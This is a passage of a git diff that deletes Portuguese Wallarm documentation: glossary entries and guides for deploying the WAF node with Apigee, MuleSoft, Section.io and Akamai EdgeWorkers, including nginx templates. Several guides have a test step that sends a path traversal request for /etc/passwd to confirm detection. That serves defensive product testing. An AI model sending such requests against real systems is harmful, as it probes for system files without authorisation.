de segurança da informação são: - -* Acesso não autorizado a dados; por exemplo, acesso para ler e modificar os dados do usuário. -* Negação de serviço. -* Corrupção de dados e outros. - -O tráfego da internet pode ser usado para detectar as vulnerabilidades, que é uma das funções do Wallarm, entre outras. - -## Incidente de Segurança - -Um incidente de segurança é uma ocorrência de exploração de vulnerabilidade. Um incidente é um [ataque](#attack) direcionado a uma vulnerabilidade confirmada. - -Um incidente, como um ataque, é uma entidade externa ao seu sistema e é uma característica da Internet externa, não do sistema em si. Apesar do fato de que os ataques direcionados às vulnerabilidades existentes são minoria, eles são da maior importância em termos de segurança da informação. O Wallarm detecta automaticamente os ataques direcionados às vulnerabilidades existentes e os exibe como um objeto separado - incidente. - -## Buffer Circular -Um buffer circular é uma estrutura de dados que utiliza um único buffer de tamanho fixo como se estivesse conectado de ponta a ponta. -[Veja na Wikipedia](https://en.wikipedia.org/wiki/Circular_buffer). - -## Conjunto de regras personalizadas (o termo anterior é LOM) - -Um conjunto de regras personalizadas é um conjunto de regras de segurança compiladas baixadas pelos nós do Wallarm do Cloud do Wallarm. - -As regras personalizadas permitem que você configure regras individuais para o processamento de tráfego, por exemplo: - -* Mascara dados sensíveis antes de carregar para o Wallarm Cloud -* Crie indicadores de ataque baseados em expressões regulares -* Aplique um patch virtual bloqueando solicitações que exploram uma vulnerabilidade ativa -* Desative a detecção de ataque em certas solicitações, etc. - -Um conjunto de regras personalizadas não está vazio por padrão, ele contém as regras criadas para todos os clientes registrados no cloud, por exemplo, a regra do modo de filtragem com o valor da [**aba Configurações → Geral**](user-guides/settings/general.md). - -[Mais detalhes sobre conjuntos de regras personalizadas](user-guides/rules/rules.md) - -## Solicitação Inválida -Uma solicitação que foi verificada pelo nó de filtro e não coincide com as regras do LOM. - -## Proxy Reverso -Um proxy reverso é um tipo de servidor proxy que recupera recursos em nome de um cliente de um servidor e retorna os recursos para o cliente como se eles se originassem do próprio servidor da web. -[Veja na Wikipedia](https://en.wikipedia.org/wiki/Reverse_proxy). - -## Autoridade Certificadora -Uma autoridade certificadora é uma entidade que emite certificados digitais. -[Veja na Wikipedia](https://en.wikipedia.org/wiki/Certificate_authority). diff --git a/docs/latest-pt-BR/installation/api-gateways/apigee.md b/docs/latest-pt-BR/installation/api-gateways/apigee.md deleted file mode 100644 index d22edaeed9..0000000000 --- a/docs/latest-pt-BR/installation/api-gateways/apigee.md +++ /dev/null @@ -1,109 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart-sqli-xss.png - -# Apigee Edge com Wallarm Proxy Bundle - -[Apigee Edge](https://docs.apigee.com/api-platform/get-started/what-apigee-edge) é uma plataforma de gerenciamento de API com um gateway de API servindo como ponto de entrada para aplicações cliente acessarem APIs. Para aumentar a segurança da API no Apigee, você pode integrar o bundle de proxy de API da Wallarm, conforme detalhado neste artigo. - -A solução envolve a implementação do nó Wallarm externamente e a injeção de código personalizado ou políticas na plataforma específica. Isso permite que o tráfego seja direcionado para o nó Wallarm externo para análise e proteção contra ameaças potenciais. Referidos como conectores da Wallarm, eles servem como o elo essencial entre plataformas como Azion Edge, Akamai Edge, MuleSoft, Apigee e AWS Lambda, e o nó Wallarm externo. Esta abordagem garante integração perfeita, análise de tráfego seguro, mitigação de risco e segurança geral da plataforma. - -## Casos de uso - -Entre todas as [opções de implementação da Wallarm](../supported-deployment-options.md) suportadas, esta solução é a recomendada para os seguintes casos de uso: - -* Protegendo APIs implementadas na plataforma Apigee com apenas um proxy de API. -* Requerendo uma solução de segurança que oferece observação abrangente de ataques, relatórios e bloqueio instantâneo de solicitações maliciosas. - -## Limitações - -A solução tem certas limitações, pois só funciona com solicitações de entrada: - -* A descoberta de vulnerabilidades usando o método de [detecção passiva](../../about-wallarm/detecting-vulnerabilities.md#passive-detection) não funciona corretamente. A solução determina se uma API é vulnerável ou não com base nas respostas do servidor para solicitações maliciosas que são típicas -* O [Wallarm API Discovery](../../api-discovery/overview.md) não pode explorar o inventário de APIs com base em seu tráfego, pois a solução depende da análise de resposta. -* A [proteção contra navegação forçada](../../admin-en/configuration-guides/protecting-against-bruteforce.md) não está disponível, pois requer análise do código de resposta. - -## Requisitos - -Para prosseguir com a implementação, certifique-se de que cumpre os seguintes requisitos: - -* Compreensão da plataforma Apigee. -* Suas APIs estão sendo executadas no Apigee. - -## Implementação - -Para proteger APIs na plataforma Apigee, siga estas etapas: - -1. Implemente um nó Wallarm na instância GCP. -1. Obtenha o pacote de proxy Wallarm e faça o upload para o Apigee. - -### 1. Implementar um nó Wallarm - -Ao usar o proxy Wallarm no Apigee, o fluxo de tráfego opera [em linha](../inline/overview.md). Portanto, escolha uma das artefatos de implementação de nó Wallarm suportados para implementação em linha no Google Cloud Platform: - -* [Imagem de máquina GCP](../packages/gcp-machine-image.md) -* [Google Compute Engine (GCE)](../cloud-platforms/gcp/docker-container.md) - -Configure o nó implementado usando o seguinte modelo: - -``` -server { - listen 80 default_server; - listen [::]:80 default_server; - - server_name _; - - access_log off; - wallarm_mode off; - - location / { - proxy_set_header Host $http_x_forwarded_host; - proxy_pass http://unix:/tmp/wallarm-nginx.sock; - } -} - -server { - listen unix:/tmp/wallarm-nginx.sock; - - server_name _; - - wallarm_mode block; - real_ip_header X-LAMBDA-REAL-IP; - set_real_ip_from unix:; - - location / { - echo_read_request_body; - } -} -``` - -Após a implementação ser concluída, anote o endereço IP da instância do nó, pois será necessário para configurar o encaminhamento de solicitações de entrada. Observe que o IP pode ser interno; não é necessário que seja externo. - -### 2. Obter o pacote de proxy Wallarm e enviá-lo para o Apigee - -A integração envolve a criação de um proxy de API no Apigee que irá rotear o tráfego legítimo para suas APIs. Para isso, a Wallarm fornece um pacote de configuração personalizado. Siga estas etapas para adquirir e [utilizar](https://docs.apigee.com/api-platform/fundamentals/build-simple-api-proxy) o pacote Wallarm para o proxy de API no Apigee: - -1. Entre em contato com [support@wallarm.com](mailto:support@wallarm.com) para obter o pacote de proxy Wallarm para o Apigee. -1. Na UI do Apigee Edge, navegue até **Develop** → **API Proxies** → **+Proxy** → **Upload proxy bundle**. -1. Faça o upload do pacote fornecido pela equipe de suporte da Wallarm. -1. Abra o arquivo de configuração importado e especifique o [endereço IP da instância do nó Wallarm](#1-deploy-a-wallarm-node) em `prewall.js` e `postwall.js`. -1. Salve e implemente a configuração. - -## Teste - -Para testar a funcionalidade da política implementada, siga estas etapas: - -1. Envie a solicitação com o teste de ataque [Path Traversal][ptrav-attack-docs] para sua API: - - ``` - curl http:///etc/passwd - ``` - -1. Abra o Console da Wallarm → Seção **Events** na [Nuvem dos EUA](https://us1.my.wallarm.com/attacks) ou [Nuvem da UE](https://my.wallarm.com/attacks) e certifique-se de que o ataque é exibido na lista. - - ![Ataques na interface][attacks-in-ui-image] - - Se o modo de nó Wallarm estiver configurado para bloqueio, a solicitação também será bloqueada. - -## Precisa de assistência? - -Se você encontrar algum problema ou precisar de assistência com a implementação descrita da Wallarm em conjunto com o Apigee, você pode entrar em contato com a equipe de [suporte da Wallarm](mailto:support@wallarm.com). Eles estão disponíveis para fornecer orientação e ajudar a resolver qualquer problema que você possa enfrentar durante o processo de implementação. \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/api-gateways/mulesoft.md b/docs/latest-pt-BR/installation/api-gateways/mulesoft.md deleted file mode 100644 index 4c6d38f7da..0000000000 --- a/docs/latest-pt-BR/installation/api-gateways/mulesoft.md +++ /dev/null @@ -1,209 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart-sqli-xss.png - -# MuleSoft com Política Wallarm - -[MuleSoft](https://www.mulesoft.com/) é uma plataforma de integração que permite uma conectividade e integração de dados perfeitas entre os serviços, com um gateway de API funcionando como ponto de entrada para que os aplicativos do cliente acessem as APIs. Com a Wallarm, você pode proteger as APIs na plataforma MuleSoft Anypoint usando a política da Wallarm. Este artigo explica como anexar e utilizar a política. - -O diagrama abaixo ilustra o fluxo de tráfego de alto nível quando a política Wallarm está anexada às APIs na plataforma MuleSoft Anypoint, e a Wallarm está configurada para bloquear atividades maliciosas. - -![MuleSoft com política Wallarm](../../images/waf-installation/gateways/mulesoft/traffic-flow-mule-gateway-inline.png) - -A solução envolve a implantação do nó Wallarm externamente e a injeção de código personalizado ou políticas na plataforma específica. Isso permite que o tráfego seja direcionado para o nó Wallarm externo para análise e proteção contra ameaças potenciais. Conhecidos como conectores Wallarm, eles servem como o elo essencial entre plataformas como Azion Edge, Akamai Edge, MuleSoft, Apigee e AWS Lambda, e o nó Wallarm externo. Esta abordagem garante uma integração perfeita, análise segura de tráfego, mitigação de riscos e segurança geral da plataforma. - -## Casos de uso - -Entre todas as [opções de implantação Wallarm suportadas](../supported-deployment-options.md), esta solução é a recomendada para os seguintes casos de uso: - -* Proteger as APIs implantadas na plataforma MuleSoft Anypoint com apenas uma política. -* Requerer uma solução de segurança que ofereça observação abrangente de ataques, relatórios e bloqueio instantâneo de solicitações maliciosas. - -## Limitações - -A solução apresenta certas limitações, pois só funciona com solicitações recebidas: - -* A descoberta de vulnerabilidades usando o método de [detecção passiva](../../about-wallarm/detecting-vulnerabilities.md#passive-detection) não funciona corretamente. A solução determina se uma API é vulnerável ou não com base nas respostas do servidor a solicitações maliciosas típicas das vulnerabilidades que testa. -* O [Wallarm API Discovery](../../api-discovery/overview.md) não pode explorar o inventário da API com base no seu tráfego, pois a solução depende da análise das respostas. -* A [proteção contra navegação forçada](../../admin-en/configuration-guides/protecting-against-bruteforce.md) não está disponível, pois requer análise do código de resposta. - -## Requisitos - -Para prosseguir com a implantação, certifique-se de que você atende aos seguintes requisitos: - -* Entendimento da plataforma MuleSoft. -* [Maven (`mvn`)](https://maven.apache.org/install.html) 3.8 ou uma versão anterior instalada. Versões mais recentes do Maven podem encontrar problemas de compatibilidade com o plugin Mule. -* Você foi atribuído ao papel de contribuidor do MuleSoft Exchange, permitindo o upload de artefatos para a conta da plataforma MuleSoft Anypoint da sua organização. -* Suas [credenciais do MuleSoft Exchange (nome de usuário e senha)](https://docs.mulesoft.com/mule-gateway/policies-custom-upload-to-exchange#deploying-a-policy-created-using-the-maven-archetype) são especificadas no arquivo `/conf/settings.xml`. -* Seu aplicativo e API estão linkados e funcionando no MuleSoft. - -## Implantação - -Para proteger as APIs na plataforma MuleSoft Anypoint usando a política Wallarm, siga essas etapas: - -1. Implementar um nó Wallarm usando uma das opções de implantação disponíveis. -1. Obter a política Wallarm e enviá-la para o MuleSoft Exchange. -1. Anexar a política Wallarm à sua API. - -### 1. Implementar um nó Wallarm - -Ao utilizar a política Wallarm, o fluxo de tráfego é [in-line](../inline/overview.md). - -1. Escolha uma das [soluções de implantação do nó Wallarm suportadas ou artefatos](../supported-deployment-options.md#in-line) para implantação in-line e siga as instruções de implantação fornecidas. -1. Configure o nó implantado usando o seguinte modelo: - - ``` - server { - listen 80; - - server_name _; - - access_log off; - wallarm_mode off; - - location / { - proxy_set_header Host $http_x_forwarded_host; - proxy_pass http://unix:/tmp/wallarm-nginx.sock; - } - } - - server { - listen 443 ssl; - - server_name seu-dominio-para-no-wallarm.tld; - - ### Configuração SSL aqui - - access_log off; - wallarm_mode off; - - location / { - proxy_set_header Host $http_x_forwarded_host; - proxy_pass http://unix:/tmp/wallarm-nginx.sock; - } - } - - - server { - listen unix:/tmp/wallarm-nginx.sock; - - server_name _; - - wallarm_mode monitoring; - #wallarm_mode block; - - real_ip_header X-REAL-IP; - set_real_ip_from unix:; - - location / { - echo_read_request_body; - } - } - ``` - - Por favor, certifique-se de prestar atenção nas seguintes configurações: - - * Certificados TLS/SSL para tráfego HTTPS: Para permitir que o nó Wallarm gerencie o tráfego HTTPS seguro, configure os certificados TLS/SSL de acordo. A configuração específica dependerá do método de implantação escolhido. Por exemplo, se você estiver usando o NGINX, pode consultar [seu artigo](https://docs.nginx.com/nginx/admin-guide/security-controls/terminating-ssl-http/) para obter orientação. - * Configuração do [modo de operação Wallarm](../../admin-en/configure-wallarm-mode.md). - -1. Uma vez que a implantação esteja completa, anote o IP da instância do nó, pois você precisará dele mais tarde para definir o endereço de encaminhamento das solicitações recebidas. - -### 2. Obtenha e envie a política Wallarm para o MuleSoft Exchange - -Para adquirir e [enviar](https://docs.mulesoft.com/mule-gateway/policies-custom-upload-to-exchange) a política Wallarm para o MuleSoft Exchange, siga estas etapas: - -1. Entre em contato com [support@wallarm.com](mailto:support@wallarm.com) para obter a política Wallarm MuleSoft. -1. Extraia o arquivo da política quando você o receber. -1. Navegue até o diretório da política: - - ``` - cd /wallarm - ``` -1. No arquivo `pom.xml` → parâmetro `groupId` no topo do arquivo, especifique o ID da sua organização MuleSoft. - - Você pode encontrar o ID da sua organização navegando até MuleSoft Anypoint Platform → **Access Management** → **Organization** → escolha a sua organização → copie o ID dela. -1. No seu diretório Maven `.m2`, atualize o arquivo `settings.xml` com suas credenciais do Exchange: - - ```xml - - - - - exchange-server - meunomeusuario - minhasenha - - - - ``` -1. Implantar a política no MuleSoft usando o seguinte comando: - - ``` - mvn clean deploy - ``` - -A sua política personalizada agora está disponível na Exchange da sua Plataforma MuleSoft Anypoint. - -![MuleSoft com política Wallarm](../../images/waf-installation/gateways/mulesoft/wallarm-policy-in-exchange.png) - -### 3. Anexar a política Wallarm à sua API - -Você pode anexar a política Wallarm a todas as APIs ou a uma API individual. - -#### Anexando a política a todas as APIs - -Para aplicar a política Wallarm a todas as APIs usando a opção de política automatizada do [MuleSoft](https://docs.mulesoft.com/mule-gateway/policies-automated-overview), siga estes passos: - -1. Na sua Plataforma Anypoint, navegue até **API Manager** → **Automated Policies**. -1. Clique em **Add automated policy** e selecione a política Wallarm do Exchange. -1. Especifique `WLRM REPORTING ENDPOINT` que é o endereço IP da [instância do nó Wallarm](#1-implantar-um-no-wallarm) , incluindo o `http://` ou `https://`. -1. Se necessário, modifique o período máximo para a Wallarm processar uma única solicitação, alterando o valor de `WALLARM NODE REQUEST TIMEOUT`. -1. Aplique a política. - -![Política Wallarm](../../images/waf-installation/gateways/mulesoft/automated-policy.png) - -#### Anexando a política a uma API individual - -Para proteger uma API individual com a política Wallarm, siga estes passos: - -1. Na sua Plataforma Anypoint, navegue até **API Manager** e selecione a API desejada. -1. Navegue até **Policies** → **Add policy** e selecione a política Wallarm. -1. Especifique `WLRM REPORTING ENDPOINT` que é o endereço IP da [instância do nó Wallarm](#1-implantar-um-no-wallarm) , incluindo o `http://` ou `https://`. -1. Se necessário, modifique o período máximo para a Wallarm processar uma única solicitação, alterando o valor de `WALLARM NODE REQUEST TIMEOUT`. -1. Aplique a política. - -![Política Wallarm](../../images/waf-installation/gateways/mulesoft/policy-for-an-api.png) - -## Testando - -Para testar a funcionalidade da política implantada, siga estas etapas: - -1. Envie a solicitação com o teste de ataque [Path Traversal][ptrav-attack-docs] para a sua API: - - ``` - curl http:///etc/passwd - ``` -1. Abra o Console Wallarm → seção **Events** no [US Cloud](https://us1.my.wallarm.com/attacks) ou [EU Cloud](https://my.wallarm.com/attacks) e certifique-se de que o ataque está exibido na lista. - - ![Ataques na interface][attacks-in-ui-image] - - Se o modo do nó Wallarm estiver definido para bloqueio, a solicitação também será bloqueada. - -Se a solução não funcionar conforme esperado, consulte os logs da API acessando MuleSoft Anypoint Platform → **Runtime Manager** → sua aplicação → **Logs**. - -Você também pode verificar se a política foi aplicada à API navegando até a API no **API Manager** e revisar as políticas aplicadas na aba **Policies**. Para políticas automatizadas, você pode usar a opção **See covered APIs** para ver as APIs cobertas e as razões de quaisquer exclusões. - -## Atualização e desinstalação - -Para atualizar a política Wallarm implantada, siga estas etapas: - -1. Remova a política Wallarm atualmente implantada usando a opção **Remove policy** na lista de política automatizada ou na lista de políticas aplicadas a uma API individual. -1. Adicione a nova política seguindo as etapas 2-3 acima. -1. Reinicie os aplicativos anexados no **Runtime Manager** para aplicar a nova política. - -Para desinstalar a política, simplesmente execute o primeiro passo do processo de atualização. - -## Precisa de ajuda? - -Se você encontrar algum problema ou precisar de ajuda com a implantação descrita da política Wallarm em conjunto com o MuleSoft, você pode entrar em contato com a equipe de [suporte da Wallarm](mailto:support@wallarm.com). Eles estão disponíveis para fornecer orientação e ajudar a resolver quaisquer problemas que você possa enfrentar durante o processo de implementação. \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/cdn-node.md b/docs/latest-pt-BR/installation/cdn-node.md deleted file mode 100644 index 177504450d..0000000000 --- a/docs/latest-pt-BR/installation/cdn-node.md +++ /dev/null @@ -1,102 +0,0 @@ -[cdn-node-operation-scheme]: ../images/waf-installation/quickstart/cdn-node-scheme.png -[data-to-wallarm-cloud-docs]: ../user-guides/rules/sensitive-data-rule.md -[operation-modes-docs]: ../admin-en/configure-wallarm-mode.md -[operation-mode-rule-docs]: ../user-guides/rules/wallarm-mode-rule.md -[wallarm-cloud-docs]: ../about-wallarm/overview.md#cloud -[cdn-node-creation-modal]: ../images/waf-installation/quickstart/cdn-node-creation-modal.png -[cname-required-modal]: ../images/waf-installation/quickstart/cname-required-modal.png -[attacks-in-ui]: ../images/admin-guides/test-attacks-quickstart.png -[user-roles-docs]: ../user-guides/settings/users.md -[update-origin-ip-docs]: ../user-guides/nodes/cdn-node.md#updating-the-origin-address-of-the-protected-resource -[rules-docs]: ../user-guides/rules/rules.md -[ip-lists-docs]: ../user-guides/ip-lists/overview.md -[integration-docs]: ../user-guides/settings/integrations/integrations-intro.md -[trigger-docs]: ../user-guides/triggers/triggers.md -[application-docs]: ../user-guides/settings/applications.md -[nodes-ui-docs]: ../user-guides/nodes/cdn-node.md -[events-docs]: ../user-guides/events/check-attack.md -[graylist-populating-docs]: ../user-guides/ip-lists/graylist.md#managing-graylist -[graylist-docs]: ../user-guides/ip-lists/graylist.md -[link-app-conf]: ../user-guides/settings/applications.md -[varnish-cache]: #why-is-there-a-delay-in-the-update-of-the-content-protected-by-the-cdn-node -[using-varnish-cache]: ../user-guides/nodes/cdn-node.md#using-varnish-cache - -# Implantando o Node Wallarm com Section.io - -O [Section](https://www.section.io/) é um sistema de hospedagem nativa na nuvem que facilita a implantação de um node Wallarm. Ao encaminhar o tráfego por meio dele como um proxy reverso, você pode efetivamente mitigar o tráfego malicioso sem adicionar componentes de terceiros à infraestrutura do seu aplicativo. - -## Casos de uso - -Entre todas as [opções de implantação Wallarm suportadas](supported-deployment-options.md), esta solução é a recomendada para os seguintes **casos de uso**: - -* Você está procurando uma solução de segurança que seja rápida e fácil de implantar para proteger serviços leves. -* Você não tem a capacidade de implantar nós Wallarm dentro de sua infraestrutura de hospedagem. -* Você prefere uma abordagem passiva à implantação, evitando a gestão e manutenção dos nós de filtragem Wallarm. - -## Limitações - -A solução tem certas limitações: - -* Para análise e filtração de alto tráfego, o uso de nós CDN não é recomendado. -* A implantação do tipo de nó CDN não é suportada no [plano gratuito](../about-wallarm/subscription-plans.md#free-tier-subscription-plan-us-cloud). -* Com o nó CDN, você pode proteger os domínios de terceiro nível (ou inferior, como 4º-, 5º- etc). Por exemplo, você pode criar um nó CDN para `ple.example.com`, mas não para `example.com`. -* A [configuração direta do aplicativo](../user-guides/settings/applications.md) por meio de procedimentos padrão está indisponível. Entre em contato com a [equipe de suporte do Wallarm](mailto:support@wallarm.com) para obter assistência na configuração. -* [Páginas de bloqueio personalizadas e códigos de erro](../admin-en/configuration-guides/configure-block-page-and-code.md) não são configuráveis. Por padrão, o nó CDN retorna um código de resposta 403 para solicitações bloqueadas. - -## Requisitos - ---8<-- "../include-pt-BR/waf/installation/cdn-node/cdn-node-deployment-requirements.md" - -## Como funciona o nó CDN - ---8<-- "../include-pt-BR/waf/installation/cdn-node/how-cdn-node-works.md" - -## Implantação do nó CDN - -1. Abra o Console Wallarm → **Nós** → **CDN** → **Criar nó**. -1. Insira o endereço de domínio a ser protegido, por exemplo, `ple.example.com`. - - O endereço especificado deve ser o domínio de terceiro nível (ou inferior) e não conter o esquema e as barras. -1. Certifique-se de que o Wallarm identifica corretamente o endereço de origem associado ao domínio especificado. Caso contrário, altere o endereço de origem descoberto automaticamente. - - ![Modal de criação de nó CDN][cdn-node-creation-modal] - - !!! aviso "Atualização dinâmica do endereço de origem" - Se o seu provedor de hospedagem atualiza dinamicamente o endereço IP de origem ou o domínio associado ao recurso protegido, mantenha o endereço de origem especificado na configuração do nó CDN atualizado. O Console do Wallarm permite que você [altere o endereço de origem][update-origin-ip-docs] a qualquer momento. - - Caso contrário, as solicitações não alcançarão o recurso protegido, pois o nó CDN tentará proxyá-las para um endereço de origem incorreto. -1. Aguarde a conclusão do registro do nó CDN. - - Uma vez concluído o registro do nó CDN, o status do nó CDN será alterado para **Requer CNAME**. -1. Adicione o registro CNAME gerado pelo Wallarm aos registros DNS do domínio protegido. - - Se o registro CNAME já estiver configurado para o domínio, substitua seu valor pelo gerado pelo Wallarm. - - ![Modal de criação de nó CDN][cname-required-modal] - - Dependendo do seu provedor de DNS, as alterações nos registros de DNS podem levar até 24 horas para se propagar e ter efeito na Internet. Uma vez propagado o novo registro CNAME, o nó CDN Wallarm irá fazer proxy de todas as solicitações recebidas para o recurso protegido e bloquear as maliciosas. -1. Se necessário, faça o upload do certificado SSL/TLS personalizado. - - Por padrão, o Wallarm gerará o certificado Let's Encrypt para o domínio do nó CDN. -1. Uma vez que as alterações no registro DNS se propagaram, envie um ataque de teste para o domínio protegido: - - ```bash - curl http:///etc/passwd - ``` - - * Se o endereço IP de origem estiver [na lista cinza][graylist-docs], o nó bloqueará o ataque (o código de resposta HTTP é 403) e o registrará. - * Se o endereço IP de origem não estiver [na lista cinza][graylist-docs], o nó registrará apenas os ataques detectados. Você pode verificar que os ataques foram registrados no Console Wallarm → **Eventos**: - - ![Ataques na interface][attacks-in-ui] - -## Próximos passos - -O nó CDN Wallarm foi implantado com sucesso! - -Conheça as opções de configuração Wallarm: - ---8<-- "../include-pt-BR/waf/installation/cdn-node/cdn-node-configuration-options.md" - -## Resolução de problemas do nó CDN - ---8<-- "../include-pt-BR/waf/installation/cdn-node/cdn-node-troubleshooting.md" diff --git a/docs/latest-pt-BR/installation/cdn/akamai-edgeworkers.md b/docs/latest-pt-BR/installation/cdn/akamai-edgeworkers.md deleted file mode 100644 index 249b86953a..0000000000 --- a/docs/latest-pt-BR/installation/cdn/akamai-edgeworkers.md +++ /dev/null @@ -1,158 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart-sqli-xss.png - -# Akamai EdgeWorkers com Pacote de Código Wallarm - -[Akamai EdgeWorkers](https://techdocs.akamai.com/edgeworkers/docs) é uma poderosa plataforma de computação de borda que permite a execução de lógica personalizada e a implantação de funções JavaScript leves na borda da plataforma. Para clientes que têm suas APIs e tráfego rodando no Akamai EdgeWorkers, a Wallarm fornece um pacote de código que pode ser implantado no Akamai EdgeWorkers para garantir a segurança de sua infraestrutura. - -A solução envolve a implantação do nó Wallarm externamente e a injeção de código personalizado ou políticas na plataforma específica. Isso permite que o tráfego seja direcionado ao nó Wallarm externo para análise e proteção contra possíveis ameaças. Referidos como conectores Wallarm, eles servem como o elo essencial entre plataformas como Azion Edge, Akamai Edge, MuleSoft, Apigee e AWS Lambda, e o nó Wallarm externo. Esta abordagem garante a integração perfeita, a análise segura do tráfego, a mitigação do risco e a segurança geral da plataforma. - -## Casos de uso - -Entre todas as [opções de implantação da Wallarm](../supported-deployment-options.md), esta solução é a recomendada para os seguintes casos de uso: - -* Garantindo APIs ou tráfego rodando no Akamai EdgeWorkers. -* Necessitando de uma solução de segurança que ofereça observação abrangente de ataques, relatórios e bloqueio instantâneo de solicitações maliciosas. - -## Limitações - -A solução tem certas limitações, pois só funciona com solicitações recebidas: - -* A descoberta de vulnerabilidades usando o método [detecção passiva](../../about-wallarm/detecting-vulnerabilities.md#passive-detection) não funciona adequadamente. A solução determina se uma API é vulnerável ou não com base nas respostas do servidor a solicitações maliciosas que são típicas para as vulnerabilidades que ela testa. -* O [Descoberta de API Wallarm](../../api-discovery/overview.md) não pode explorar o inventário da API com base no seu tráfego, pois a solução relies on na análise de resposta. -* A [proteção contra navegação forçada](../../admin-en/configuration-guides/protecting-against-bruteforce.md) não está disponível pois requer análise do código de resposta. - -Também existem limitações causadas pelas [limitações do produto EdgeWorkers](https://techdocs.akamai.com/edgeworkers/docs/limitations) e [solicitação HTTP](https://techdocs.akamai.com/edgeworkers/docs/http-request): - -* O único método de entrega de tráfego suportado é o TLS aprimorado. -* O tamanho máximo do cabeçalho de resposta é de 8000 bytes. -* O tamanho máximo do corpo é de 1 MB. -* Métodos HTTP não suportados: `CONNECT`, `TRACE`, `OPTIONS` (métodos suportados: `GET`, `POST`, `HEAD`, `PUT`, `PATCH`, `DELETE`). -* Cabeçalhos não suportados: `connection`, `keep-alive`, `proxy-authenticate`, `proxy-authorization`, `te`, `trailers`, `transfer-encoding`, `host`, `content-length`, `vary`, `accept-encoding`, `content-encoding`, `upgrade`. - -## Requisitos - -Para prosseguir com a implantação, certifique-se de que você atende aos seguintes requisitos: - -* Entendimento das tecnologias Akamai EdgeWorkers -* APIs ou tráfego passando pelos Akamai EdgeWorkers. - -## Implantação - -Para proteger as APIs no Akamai EdgeWorkers com a Wallarm, siga estas etapas: - -1. Implante um nó Wallarm usando uma das opções de implantação disponíveis. -1. Obtenha o pacote de código Wallarm e execute-o no Akamai EdgeWorkers. - -### 1. Implante um nó Wallarm - -Ao utilizar a Wallarm no Akamai EdgeWorkers, o fluxo de tráfego é [em linha](../inline/overview.md). - -1. Escolha uma das [soluções de implantação do nó Wallarm](../supported-deployment-options.md#in-line) para implantação em linha e siga as instruções de implantação fornecidas. -1. Configure o nó implantado usando o seguinte modelo: - - ``` - server { - listen 80; - - server_name _; - - access_log off; - wallarm_mode off; - - location / { - proxy_set_header Host $http_x_forwarded_host; - proxy_pass http://unix:/tmp/wallarm-nginx.sock; - } - } - - server { - listen 443 ssl; - - server_name seu-dominio-para-no-wallarm.tld; - - ### Configuração SSL aqui - - access_log off; - wallarm_mode off; - - location / { - proxy_set_header Host $http_x_forwarded_host; - proxy_pass http://unix:/tmp/wallarm-nginx.sock; - } - } - - - server { - listen unix:/tmp/wallarm-nginx.sock; - - server_name _; - - wallarm_mode monitoring; - #wallarm_mode block; - - real_ip_header X-EDGEWRK-REAL-IP; - set_real_ip_from unix:; - - location / { - echo_read_request_body; - } - } - ``` - - Por favor, preste atenção nas seguintes configurações: - - * Certificados TLS/SSL para tráfego HTTPS: Para habilitar o nó Wallarm para lidar com tráfego seguro HTTPS, configure os certificados TLS/SSL de acordo. A configuração específica dependerá do método de implantação escolhido. Por exemplo, se você estiver usando o NGINX, você pode se referir ao [seu artigo](https://docs.nginx.com/nginx/admin-guide/security-controls/terminating-ssl-http/) para orientação. - * Configuração do [modo de operação da Wallarm](../../admin-en/configure-wallarm-mode.md). -1. Depois que a implantação estiver completa, anote o IP da instância do nó, pois você precisará dele mais tarde para definir o endereço para o encaminhamento de solicitações recebidas. - -### 2. Obtenha o pacote de código Wallarm e execute-o no Akamai EdgeWorkers - -Para adquirir e [executar](https://techdocs.akamai.com/edgeworkers/docs/deploy-hello-world-1) o pacote de código Wallarm no Akamai EdgeWorkers, siga estas etapas: - -1. Entre em contato com [support@wallarm.com](mailto:support@wallarm.com) para obter o pacote de código Wallarm. -1. [Adicione](https://techdocs.akamai.com/edgeworkers/docs/add-edgeworkers-to-contract) EdgeWorkers ao seu contrato no Akamai. -1. [Crie](https://techdocs.akamai.com/edgeworkers/docs/create-an-edgeworker-id) um ID de EdgeWorker. -1. Abra o ID criado, pressione **Criar Versão** e [faça o upload](https://techdocs.akamai.com/edgeworkers/docs/deploy-hello-world-1) do pacote de código Wallarm. -1. **Ative** a versão criada, inicialmente no ambiente de preparação. -1. Depois de confirmar que tudo está funcionando corretamente, repita a publicação da versão no ambiente de produção. -1. No **Gerenciador de Propriedades da Akamai**, escolha ou crie uma nova propriedade onde você deseja instalar a Wallarm. -1. [Crie](https://techdocs.akamai.com/edgeworkers/docs/add-the-edgeworker-behavior-1) um novo comportamento com o EdgeWorker recém-criado, chame-o de **Borda Wallarm** e adicione os seguintes critérios: - - ``` - Se - Cabeçalho da solicitação - X-EDGEWRK-REAL-IP - não existir - ``` -1. Crie outro comportamento **Nó Wallarm** com **Servidor de origem** apontando para [nó implantado anteriormente](#1-implante-um-nó-wallarm). Mude o **Encaminhamento do Cabeçalho do Host** para **Hostname de Origem** e adicione os seguintes critérios: - - ``` - Se - Cabeçalho da solicitação - X-EDGEWRK-REAL-IP - existir - ``` -1. Adicione a nova variável de propriedade `PMUSER_WALLARM_MODE` com o [valor](../../admin-en/configure-wallarm-mode.md) `monitoring` (padrão) ou `block`. - - Escolha **Oculto** para as configurações de segurança. -1. Salve a nova versão e implante-a inicialmente no ambiente de preparação, e [então](https://techdocs.akamai.com/api-acceleration/docs/test-stage) na produção. - -## Testando - -Para testar a funcionalidade da política implantada, siga estas etapas: - -1. Envie a solicitação com o teste de ataque [Path Traversal][ptrav-attack-docs] para sua API: - - ``` - curl http:///etc/passwd - ``` -1. Abra a **Seção de Eventos** do Wallarm Console no [US Cloud](https://us1.my.wallarm.com/attacks) ou [EU Cloud](https://my.wallarm.com/attacks) e certifique-se de que o ataque é exibido na lista. - - ![Ataques na interface][attacks-in-ui-image] - - Se o modo de operação do nó Wallarm estiver configurado para bloqueio, a solicitação também será bloqueada. - -## Precisa de ajuda? - -Se encontrar algum problema ou precisar de assistência com a implantação descrita da Wallarm em conjunto com Akamai EdgeWorkers, você pode contatar a equipe de [suporte Wallarm](mailto:support@wallarm.com). Eles estão disponíveis para 